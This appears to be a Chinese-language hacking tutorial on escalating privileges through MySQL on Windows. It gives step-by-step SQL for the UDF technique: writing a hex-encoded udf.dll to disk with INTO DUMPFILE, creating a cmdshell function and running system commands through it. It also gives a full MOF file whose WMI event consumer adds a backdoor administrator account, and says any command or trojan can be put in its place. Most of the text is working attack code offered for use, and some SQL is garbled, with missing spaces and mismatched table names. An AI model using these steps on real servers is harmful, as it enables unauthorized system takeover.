1、Select version(); 查看数据库版
本小于5.0以下的要导出到c:\windows\ 或者c:\windows\system32目录下5.1必须要导出到mysql安装目录下的lib\plugin目录下
2、select @@basedir();查看UDF.DLL文件路径
3、create table udftext(udf blob);创建临时表
4、insert into udftest values (convert(0x433a2f50726f6772616d2046696c65732f4d7953514c2f4d7953514c2053657276657220352e322f6c69622f706c7567696e,char));(convert(这里是UDF在本地位置然后转成HEX值))
5、selectudffromudftext intodumpfile 'udf.dll路径'; 导出udf.dll
6、drop table udftest;删除临时表
7、create function cmdshell returns string soname 'udf.dll'创建cmdshell函数
(http://www.i0day.com/271.html关于报错的处理方法,虚拟机没有开杀毒,自己也在目录下建目录重新弄还是不行,)
8、select cmdshell('cmd命令');
mof转系统权限
#pragmanamespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace="Root\\Cimv2";
Name="filtP2";
Query="Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage="WQL";
};
instance ofActiveScriptEventConsumeras $Consumer
{
Name="consPCSV2";
ScriptingEngine="JScript";
ScriptText=
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer=$Consumer;
Filter=$EventFilter;
};
注意上面的net.exe user admin admin /add,可以随便改的,想执行啥都行,有没有参数也都行,执行自己的马也行.
利用外连命令连接数据库
然后导出已上传的MOF文件,在这里需要注意的c:\my.mof 这样导出的话MOF里没有内容的,而c:/my.mof这样导出才有内容,需要注意的是正反斜杠。
导出利用命令查看里面有没有内容
然后mofcomp 命令执行刚导出的MOF路径,光导出的话它不会执行的网上说它会自动执行,但我等了好久没有执行。
mysql udf提权(mysql 可以创建自定义函数):
1 2 3 4 5 6 7 8 9 10 | CREATE TABLE udf_temp (udf BLOB); /* 这是创建临时表,为了将udf.dll的代码写入数据库 */ INSERT into udf_temp values (CONVERT(0x433a2f7564662e646c6c,CHAR)); /* 非常长,最后会以文件的形式提供下载(1) */ SELECT udf FROM udf_temp INTO DUMPFILE 'c:\\\\windows\\\\system32\\\\mysqlDll.dll'; /* 将写入数据库的udf.dll写入硬盘,路径为c:\windows\system32\cmd.exe,注意这里的斜线,不同的mysql版本可能会有不同,所以如果是php的程序,建议用对应的马,会自动读取版本判断位置,下载地址在mysql末尾(2) */ Create Function yoco returns string soname 'mysqlDll.dll' /* 创建自定义函数,名称为yoco,这是最后一步,如果这三步都没问题,你就成功了 */ select yoco('cmd命令'); /* 这是执行cmd的格式 */ |
这是udf.dll网马,网上可以下载到
然后上传到本地测试的网站上,然后指定路径运行
连接成功后,导出DLL文件,导出时请勿必注意导出路径(一般情况下对任何目录可写,无需考虑权限问题),对于MYSQL5.0以上版本,你必须将DLL导出到目标机器的系统目录(win 或 system32),否则在下一步操作中你会看到”No paths allowed for shared library”错误。
如果导出成功,执行下面的命令。
create function cmdshell returns string soname ‘udf.dll’
select cmdshell(‘cmd命令’)